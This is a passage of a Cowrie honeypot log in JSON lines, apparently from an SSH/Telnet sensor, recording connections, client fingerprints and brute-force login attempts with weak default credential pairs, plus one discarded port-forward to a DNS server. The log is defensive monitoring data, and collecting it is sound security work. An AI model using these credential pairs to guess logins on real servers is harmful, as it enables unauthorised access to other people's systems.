nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:04.029699Z","src_ip":"87.251.64.176","session":"fe3fc40d0c50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:04.322578Z","src_ip":"87.251.64.176","session":"fe3fc40d0c50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:04.422552Z","session":"fe3fc40d0c50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:04.522776Z","src_ip":"87.251.64.176","session":"fe3fc40d0c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":39722,"dst_ip":"10.17.0.5","dst_port":23,"session":"549f49cc2c5e","protocol":"telnet","message":"New connection: 217.182.190.44:39722 (10.17.0.5:23) [session: 549f49cc2c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:04.620133Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:04.761964Z","src_ip":"87.251.64.176","session":"fe3fc40d0c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.015557050704956,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:07.354207Z","src_ip":"174.138.46.234","session":"c46c471cb11a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25715684890747,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:19.689136Z","src_ip":"217.182.190.44","session":"0c15e163bbd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":45896,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bac23b6ba4b","protocol":"telnet","message":"New connection: 217.182.190.44:45896 (10.17.0.5:23) [session: 0bac23b6ba4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:25.063898Z"}
{"eventid":"cowrie.session.closed","duration":31.28795862197876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:35.908000Z","src_ip":"217.182.190.44","session":"549f49cc2c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":65407,"dst_ip":"159.203.135.109","dst_port":22,"session":"b44fe58c44f5","protocol":"ssh","message":"New connection: 181.39.158.30:65407 (159.203.135.109:22) [session: b44fe58c44f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:36.161854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:36.166382Z","src_ip":"181.39.158.30","session":"b44fe58c44f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:36.286470Z","src_ip":"181.39.158.30","session":"b44fe58c44f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devopsuser","password":"123456","message":"login attempt [devopsuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:36.789445Z","src_ip":"181.39.158.30","session":"b44fe58c44f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:37.911719Z","src_ip":"181.39.158.30","session":"b44fe58c44f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":22248,"dst_ip":"10.17.0.5","dst_port":22,"session":"76a44fb0cc2f","protocol":"ssh","message":"New connection: 125.22.105.67:22248 (10.17.0.5:22) [session: 76a44fb0cc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:42.351816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:42.356441Z","src_ip":"125.22.105.67","session":"76a44fb0cc2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:42.645593Z","src_ip":"125.22.105.67","session":"76a44fb0cc2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"admin@123","message":"login attempt [jenkins/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:43.821535Z","src_ip":"125.22.105.67","session":"76a44fb0cc2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:45.114353Z","src_ip":"125.22.105.67","session":"76a44fb0cc2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":48688,"dst_ip":"159.203.135.109","dst_port":22,"session":"349e8b5dc8d6","protocol":"ssh","message":"New connection: 103.69.96.120:48688 (159.203.135.109:22) [session: 349e8b5dc8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:52.382877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:52.387200Z","src_ip":"103.69.96.120","session":"349e8b5dc8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:52.625865Z","src_ip":"103.69.96.120","session":"349e8b5dc8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5!","message":"login attempt [root/q1w2e3r4t5!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:53.614549Z","src_ip":"103.69.96.120","session":"349e8b5dc8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:54.858396Z","src_ip":"103.69.96.120","session":"349e8b5dc8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36525511741638,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:58.429034Z","src_ip":"217.182.190.44","session":"0bac23b6ba4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":34692,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36306650e6a","protocol":"telnet","message":"New connection: 217.182.190.44:34692 (10.17.0.5:23) [session: d36306650e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:16.594191Z"}
{"eventid":"cowrie.session.closed","duration":0.09089517593383789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:16.684992Z","src_ip":"217.182.190.44","session":"d36306650e6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":34532,"dst_ip":"159.203.135.109","dst_port":22,"session":"13728f89d1e9","protocol":"ssh","message":"New connection: 181.39.158.30:34532 (159.203.135.109:22) [session: 13728f89d1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:34.129231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:34.134012Z","src_ip":"181.39.158.30","session":"13728f89d1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:34.248086Z","src_ip":"181.39.158.30","session":"13728f89d1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devtest","password":"devtest","message":"login attempt [devtest/devtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:34.736226Z","src_ip":"181.39.158.30","session":"13728f89d1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:35.854013Z","src_ip":"181.39.158.30","session":"13728f89d1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":46058,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa0f6686a2f8","protocol":"telnet","message":"New connection: 217.182.190.44:46058 (10.17.0.5:23) [session: aa0f6686a2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:38.632708Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":50532,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e4980eaaad","protocol":"telnet","message":"New connection: 217.182.190.44:50532 (10.17.0.5:23) [session: 02e4980eaaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:47.837725Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":59622,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9b07ba2077f","protocol":"ssh","message":"New connection: 103.69.96.120:59622 (159.203.135.109:22) [session: e9b07ba2077f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:55.390701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:55.395760Z","src_ip":"103.69.96.120","session":"e9b07ba2077f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:55.639054Z","src_ip":"103.69.96.120","session":"e9b07ba2077f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd4","message":"login attempt [root/P@ssw0rd4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:56.643611Z","src_ip":"103.69.96.120","session":"e9b07ba2077f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:10:57.888962Z","src_ip":"103.69.96.120","session":"e9b07ba2077f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43022,"dst_ip":"159.203.135.109","dst_port":23,"session":"724c2e64e1af","protocol":"telnet","message":"New connection: 174.138.46.234:43022 (159.203.135.109:23) [session: 724c2e64e1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:09.600694Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":38580,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d03694ca05","protocol":"ssh","message":"New connection: 125.22.105.67:38580 (10.17.0.5:22) [session: 95d03694ca05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:10.585943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:10.590635Z","src_ip":"125.22.105.67","session":"95d03694ca05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43298,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bfa31cfdfe8","protocol":"telnet","message":"New connection: 174.138.46.234:43298 (159.203.135.109:23) [session: 7bfa31cfdfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:10.599518Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:10.894784Z","src_ip":"125.22.105.67","session":"95d03694ca05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43490,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bfecb89911b","protocol":"telnet","message":"New connection: 174.138.46.234:43490 (159.203.135.109:23) [session: 4bfecb89911b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:11.316264Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"passw0rd","message":"login attempt [ftpuser/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:12.137671Z","src_ip":"125.22.105.67","session":"95d03694ca05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.678771018981934,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:12.311357Z","src_ip":"217.182.190.44","session":"aa0f6686a2f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:13.442477Z","src_ip":"125.22.105.67","session":"95d03694ca05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.96500825881958,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:16.564415Z","src_ip":"174.138.46.234","session":"7bfa31cfdfe8","protocol":"telnet"}
